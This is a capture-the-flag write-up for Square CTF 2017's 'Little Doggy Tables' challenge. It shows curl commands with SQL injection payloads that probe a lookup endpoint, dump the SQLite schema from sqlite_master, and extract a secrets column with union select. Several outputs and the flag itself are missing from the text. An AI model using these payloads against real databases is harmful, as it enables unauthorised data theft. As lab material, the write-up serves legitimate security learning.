Write-up: Little Doggy Tables, Square CTF 2017

This is a write-up for the challenge Little Doggy Tables from Square CTF 2017.

The challenge can be found here: https://squarectf.com/challenges/little-doggy-tables

The challenge requires us to use SQL injection to extract the flag from a table in the database.

On running this command:

curl -k "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename=Fido"

I got the following output:


Which means I can run SQL queries through this command.

Furthermore, the challenge details also include the source code , which looks like this:

From checking out the source code it is obvious that SQL injection is possible and that SQLite3 was used in the database.

To check if it was working, I ran:

curl -k "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename='"

Which gave this Output:

Internal Server Error

unrecognized token: “‘\”;”

WEBrick/1.3.1 (Ruby/2.3.4/2017-03-30) at little-doggy-tables.capturethesquare.com:443

Now that I knew SQL injection was working, I had to access the meta data. Unfortunately, the information_schema table does not exist here since it is SQLite and not MySQL. I searched for an equivalent table in SQLite and came across this question on Stack Overflow:

Which gave me enough to realize that sqlite_master is the information_schema alternative in sqlite. I changed commands mentioned in the answer to the to suit my search.

All meta data in sqlite can be accessed simple by using the command:

select sql form sqlite_master

So I modified my payload to:

curl -k "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename=' union select sql from sqlite_master-- -"

Which gave the output:

CREATE TABLE operatives (
codename TEXT,
species TEXT,
secret TEXT

Now we know both the name of the table and the name of the required column which is  obviously secret. The SQL query now required to be executed is:

select group_concat(secret) from operatives

The corresponding payload would be:

curl -k "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename=' union select group_concat(secret) from operatives-- -"

The resulting output:


On refining the above output we get that the flag is :